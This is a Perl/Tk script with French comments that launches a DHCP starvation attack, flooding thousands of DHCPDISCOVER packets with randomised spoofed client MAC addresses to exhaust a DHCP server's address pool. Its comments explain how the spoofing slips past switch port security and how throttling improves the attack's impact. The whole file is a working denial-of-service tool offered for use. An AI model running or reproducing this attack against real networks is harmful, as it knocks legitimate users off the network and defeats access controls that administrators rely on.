#!/usr/bin/perl
use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;
use Socket;
use Getopt::Long qw(GetOptions);
use POSIX qw(setsid strftime);
use LWP::UserAgent; # http://search.cpan.org/~gaas/libwww-perl-6.03/lib/LWP/UserAgent.pm
use HTTP::Request::Common; #http://search.cpan.org/~gaas/HTTP-Message-6.02/lib/HTTP/Request/Common.pm
 use Tk; # http://search.cpan.org/~srezic/Tk/pod/UserGuide.pod
 use Tk::Radiobutton;
# use Tk::PNG;



my $subweb_mw = MainWindow->new(
						-title => 'DHCP Starvation (with port-security bypass)');

my $menu_bar = $subweb_mw->Frame(
				-relief => 'groove',
				-borderwidth => 3,
				-width => 40,
				)-> pack(
					-side=>'top',
					-fill => 'x'
					);
my $file_mb = $menu_bar->Menubutton(
				-text => 'File',
				)->pack(-side=>'left');
		
$file_mb->command(
		-label=>'Launch DHCP Starvation attack',
		-command => 
			sub 
			{
				&STARVATION;
			}
		);
$file_mb->command(
	-label=>'STOP DHCP Starvation attack',
	-command => [$subweb_mw => 'destroy']
	);
$file_mb->command(
	-label=>'Exit',
	-command => [$subweb_mw => 'destroy']
	);
		

#----------
my $FrameTOP = $subweb_mw -> Frame ();
my $radioButton1 = $FrameTOP  -> Radiobutton(-text=>"512 Dhcp Discover",
												-value=>"512",
												-variable=>\$SendPacket);
my $radioButton2 = $FrameTOP  -> Radiobutton(-text=>"1024 Dhcp Discover",
												-value=>"1024",
												-variable=>\$SendPacket);												
my $radioButton3 = $FrameTOP  -> Radiobutton(-text=>"10000 Dhcp Discover",
												-value=>"10000",
												-variable=>\$SendPacket);
																								
$radioButton1 -> pack (-side => 'top', -anchor => 'w');
$radioButton2 -> pack (-side => 'top', -anchor => 'w');
$radioButton3 -> pack (-side => 'top', -anchor => 'w');

$FrameTOP -> pack (-side => 'top', -anchor => 'w');

#-------------
my $FrameMIDDLE4 = $subweb_mw -> Frame (-width => 40, -height => 20);

my $TextWidget2 = $FrameMIDDLE4  -> Text(); 
$TextWidget2->configure(-height => 20);
my $scrollbar = $FrameMIDDLE4 ->Scrollbar(-command => ['yview', $TextWidget]);
$TextWidget2->configure(-yscrollcommand => ['set', $scrollbar]);

$TextWidget2->pack(-side => 'left', -fill => 'both', -expand => 1);
$scrollbar->pack(-side => 'right', -fill => 'y');
$FrameMIDDLE4 -> pack (-side => 'top', -anchor => 'w');
#-------------


#------------ LAUNCHING THE MAIN LOOP --------
MainLoop;
#------------ END OF THE GUI INTERFACE DEFINITION STUFF -------------------------------------


sub STARVATION
{

	# Initialisation des variables.
	my $counterIP = 0; # initialisation du compteur.
	my $NumberToSend = "0"; # le nombre de paquets qui seront envoyés.
		
	if ($SendPacket == "512")
	{
		$NumberToSend = "512"
	}	
	elsif ($SendPacket == "1024")
	{
		$NumberToSend = "1024"
	}
	elsif ($SendPacket == "10000")
	{
		$NumberToSend = "10000"
	}
		
	# Données utilisées pour générer les adresses MAC.
	@tab = ( "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f" ); 
		
	$handle = IO::Socket::INET->new(Proto => 'udp',
	                               Broadcast => 1,
	                               LocalAddr => '0.0.0.0',
	                               LocalPort => '68',
	                               PeerAddr => '255.255.255.255',
	                               PeerPort => '67'
							       ) ||  die "Socket creation error: $@";	
	
	# Remarque 1:
	#--------------
	# Comme vous pourrez le voir dans le code de la boucle, l'entête de niveau 2 n'est pas géré 
	# par le script. Cela implique une gestion automatique par les librairies utilisées, soit
	# l'utilisation de l'adresse MAC de la carte ethernet pour les entêtes de niveaux 2.
	# Le port security en donc mis en défaut avec ces paquets, puisque nous avons un niveau 2
	# acceptable pour lui et un niveau applicatif avec une MAC virtuelle qui va activer 
	# l'attribution d'une adresse au niveau DHCP server.
	
	
	# Remarque 2:
	#--------------
	# L'envoi des paquets de type discover est trop rapide en mode nominal pour qu'il soit bien pris en 
	# compte au niveau des périphériques réseau. Tout au moins avec ma machine ...
	# La fonction sleep présente dans la boucle est donc la pour ralentir le départ des paquets et optimiser
	# l'impact de l'attaque.


	$TextWidget2 -> insert ("end","-----------------------------------------------------------------------\n");	
	$TextWidget2 -> insert ("end","Starting DHCP Starvation attack.\n");
	$TextWidget2 -> insert ("end","-----------------------------------------------------------------------\n");
	$TextWidget2 -> update;
	
	my $counter2 = 0;
	while ($counter != $NumberToSend)
	{
		# la fonction sleep évoquée en remarque 2.
		if ($counter2 == 50)
		{
			#print "Sleep 1 seconde.\n";
			sleep (1);
			$counter2=0; 	
		}
			
		# génération de l'adresse MAC virtuelle
		my $Digit11 = $tab[int(rand(scalar @tab))];
		my $Digit12 = $tab[int(rand(scalar @tab))];
		my $Digit21 = $tab[int(rand(scalar @tab))];
		my $Digit22 = $tab[int(rand(scalar @tab))];
		my $Digit31 = $tab[int(rand(scalar @tab))];
		my $Digit32 = $tab[int(rand(scalar @tab))];
		my $Digit41 = $tab[int(rand(scalar @tab))];
		my $Digit42 = $tab[int(rand(scalar @tab))];
		my $Digit51 = $tab[int(rand(scalar @tab))];
		my $Digit52 = $tab[int(rand(scalar @tab))];
		my $Digit61 = $tab[int(rand(scalar @tab))];
		my $Digit62 = $tab[int(rand(scalar @tab))];
		
		# mise en forme de l'adresse MAC
		my $MACAddress ="$Digit11$Digit12$Digit21$Digit22$Digit31$Digit32$Digit41$Digit42$Digit51$Digit52$Digit61$Digit62";
		$ClientIdentifier = "\\x01\\x".$Digit11.$Digit12."\\x".$Digit21.$Digit22."\\x".$Digit31.$Digit32."\\x".$Digit41.$Digit42."\\x".$Digit51.$Digit52."\\x".$Digit61.$Digit62;
		
		$discover = Net::DHCP::Packet->new(
			      Hops => '0',
			      Xid => int(rand(0xFFFFFFFF)),
			      Ciaddr => '0.0.0.0',
	        	  Siaddr => '0.0.0.0',
			      Chaddr => $MACAddress,
			      Flags => 0x8000,
				  DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER()			
	                      );
		# On envoie le paquet
		$handle->send($discover->serialize())
	    	          or die "Error sending:$!";
		$TextWidget2 -> insert ("end","DHCP Discover number $counter sent.\n");
		$TextWidget2 -> update;
				    	          	
		$counter = $counter + 1;
		$counter2 = $counter2 + 1;
	}
	$handle->close();
	
	$TextWidget2 -> insert ("end","-----------------------------------------------------------------------\n");	
	$TextWidget2 -> insert ("end","DHCP Starvation attack is over. DHCP server shouldn't be able to deliver any IP address if no counter measure has been implemented.\n");
	$TextWidget2 -> insert ("end","-----------------------------------------------------------------------\n");
	$TextWidget2 -> update;
}
